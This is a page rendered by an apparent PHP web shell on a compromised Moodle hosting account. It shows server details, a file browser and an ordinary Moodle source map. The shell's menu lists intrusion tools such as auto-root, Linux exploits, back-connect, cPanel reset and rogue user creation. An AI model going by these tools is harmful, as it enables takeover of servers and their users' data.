Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.195.86
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
form /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
defaultcustom.min.js
1.34
KB
-rw-r--r--
defaultcustom.min.js.map
3.48
KB
-rw-r--r--
events.min.js
1.63
KB
-rw-r--r--
events.min.js.map
4.01
KB
-rw-r--r--
filetypes.min.js
5.34
KB
-rw-r--r--
filetypes.min.js.map
15.49
KB
-rw-r--r--
passwordunmask.min.js
4.27
KB
-rw-r--r--
passwordunmask.min.js.map
13.71
KB
-rw-r--r--
showadvanced.min.js
3.75
KB
-rw-r--r--
showadvanced.min.js.map
10.95
KB
-rw-r--r--
submit.min.js
2.17
KB
-rw-r--r--
submit.min.js.map
7.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : submit.min.js.map
{"version":3,"file":"submit.min.js","sources":["../src/submit.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Submit button JavaScript. All submit buttons will be automatically disabled once the form is\n * submitted, unless that submission results in an error/cancelling the submit.\n *\n * @module core_form/submit\n * @copyright 2019 The Open University\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n * @since 3.8\n */\n\nimport {types} from 'core_form/events';\n\n/** @property {number} ID for setInterval used when polling for download cookie */\nlet cookieListener = 0;\n\n/** @property {Array} Array of buttons that need re-enabling if we get a download cookie */\nconst cookieListeningButtons = [];\n\n/** @property {number} Number of files uploading. */\nlet currentUploadCount = 0;\n\n/** @property {Array} Array of buttons that need re-enabling if we get a upload process. */\nconst uploadListeningButtons = [];\n\n/** @property {Boolean} Is upload listeners registered? */\nlet uploadListenersRegistered = false;\n\n/**\n * Listens in case a download cookie is provided.\n *\n * This function is used to detect file downloads. If there is a file download then we get a\n * beforeunload event, but the page is never unloaded and when the file download completes we\n * should re-enable the buttons. We detect this by watching for a specific cookie.\n *\n * PHP function \\core_form\\util::form_download_complete() can be used to send this cookie.\n *\n * @param {HTMLElement} button Button to re-enable\n */\nconst listenForDownloadCookie = (button) => {\n cookieListeningButtons.push(button);\n if (!cookieListener) {\n cookieListener = setInterval(() => {\n // Look for cookie.\n const parts = document.cookie.split(getCookieName() + '=');\n if (parts.length == 2) {\n // We found the cookie, so the file is ready. Expire the cookie and cancel polling.\n clearDownloadCookie();\n clearInterval(cookieListener);\n cookieListener = 0;\n\n // Re-enable all the buttons.\n cookieListeningButtons.forEach((button) => {\n button.disabled = false;\n });\n }\n }, 500);\n }\n};\n\n/**\n * Gets a unique name for the download cookie.\n *\n * @returns {string} Cookie name\n */\nconst getCookieName = () => {\n return 'moodledownload_' + M.cfg.sesskey;\n};\n\n/**\n * Clears the download cookie if there is one.\n */\nconst clearDownloadCookie = () => {\n document.cookie = encodeURIComponent(getCookieName()) + '=deleted; expires=' + new Date(0).toUTCString();\n};\n\n/**\n * Enable submit buttons when all files are uploaded.\n */\nconst checkUploadCount = () => {\n if (currentUploadCount) {\n uploadListeningButtons.forEach(button => {\n button.disabled = true;\n });\n } else {\n uploadListeningButtons.forEach(button => {\n button.disabled = false;\n });\n }\n};\n\n/**\n * Initialises submit buttons.\n *\n * @param {String} elementId Form element\n */\nexport const init = (elementId) => {\n const button = document.getElementById(elementId);\n // If buttons are disabled by default, we do not enable them when file upload completed event is fired.\n if (!button.disabled) {\n uploadListeningButtons.push(button);\n }\n\n if (!uploadListenersRegistered) {\n // Add event listener for file upload start.\n document.addEventListener(types.uploadStarted, e => {\n window.console.log(e.target); // This will be the element/section where the file is uploaded to.\n currentUploadCount++;\n checkUploadCount();\n });\n\n // Add event listener for file upload complete.\n document.addEventListener(types.uploadCompleted, e => {\n window.console.log(e.target); // This will be the element/section where the file is uploaded to.\n currentUploadCount--;\n checkUploadCount();\n });\n uploadListenersRegistered = true;\n }\n\n // If the form has double submit protection disabled, do nothing.\n if (button.form.dataset.doubleSubmitProtection === 'off') {\n return;\n }\n button.form.addEventListener('submit', function(event) {\n // Only disable it if the browser is really going to another page as a result of the\n // submit.\n const disableAction = function() {\n // If the submit was cancelled, or the button is already disabled, don't do anything.\n if (event.defaultPrevented || button.disabled) {\n return;\n }\n\n button.disabled = true;\n clearDownloadCookie();\n listenForDownloadCookie(button);\n };\n window.addEventListener('beforeunload', disableAction);\n // If there is no beforeunload event as a result of this form submit, then the form\n // submit must have been cancelled, so don't disable the button if the page is\n // unloaded later.\n setTimeout(function() {\n window.removeEventListener('beforeunload', disableAction);\n }, 0);\n }, false);\n};\n"],"names":["cookieListener","cookieListeningButtons","currentUploadCount","uploadListeningButtons","uploadListenersRegistered","getCookieName","M","cfg","sesskey","clearDownloadCookie","document","cookie","encodeURIComponent","Date","toUTCString","checkUploadCount","forEach","button","disabled","elementId","getElementById","push","addEventListener","types","uploadStarted","e","window","console","log","target","uploadCompleted","form","dataset","doubleSubmitProtection","event","disableAction","defaultPrevented","setInterval","split","length","clearInterval","listenForDownloadCookie","setTimeout","removeEventListener"],"mappings":";;;;;;;;;;IA4BIA,eAAiB,EAGfC,uBAAyB,GAG3BC,mBAAqB,EAGnBC,uBAAyB,GAG3BC,2BAA4B,EAuC1BC,cAAgB,iBACX,kBAAoBC,EAAEC,IAAIC,SAM/BC,oBAAsB,WACxBC,SAASC,OAASC,mBAAmBP,iBAAmB,qBAAuB,IAAIQ,KAAK,GAAGC,eAMzFC,iBAAmB,WACjBb,mBACAC,uBAAuBa,SAAQ,SAAAC,QAC3BA,OAAOC,UAAW,KAGtBf,uBAAuBa,SAAQ,SAAAC,QAC3BA,OAAOC,UAAW,oBAUV,SAACC,eACXF,OAASP,SAASU,eAAeD,WAElCF,OAAOC,UACRf,uBAAuBkB,KAAKJ,QAG3Bb,4BAEDM,SAASY,iBAAiBC,cAAMC,eAAe,SAAAC,GAC3CC,OAAOC,QAAQC,IAAIH,EAAEI,QACrB3B,qBACAa,sBAIJL,SAASY,iBAAiBC,cAAMO,iBAAiB,SAAAL,GAC7CC,OAAOC,QAAQC,IAAIH,EAAEI,QACrB3B,qBACAa,sBAEJX,2BAA4B,GAImB,QAA/Ca,OAAOc,KAAKC,QAAQC,wBAGxBhB,OAAOc,KAAKT,iBAAiB,UAAU,SAASY,WAGtCC,cAAgB,WAEdD,MAAME,kBAAoBnB,OAAOC,WAIrCD,OAAOC,UAAW,EAClBT,sBA/FoB,SAACQ,QAC7BhB,uBAAuBoB,KAAKJ,QACvBjB,iBACDA,eAAiBqC,aAAY,WAGL,GADN3B,SAASC,OAAO2B,MAAMjC,gBAAkB,KAC5CkC,SAEN9B,sBACA+B,cAAcxC,gBACdA,eAAiB,EAGjBC,uBAAuBe,SAAQ,SAACC,QAC5BA,OAAOC,UAAW,QAG3B,MA+ECuB,CAAwBxB,UAE5BS,OAAOJ,iBAAiB,eAAgBa,eAIxCO,YAAW,WACPhB,OAAOiB,oBAAoB,eAAgBR,iBAC5C,MACJ"}
Close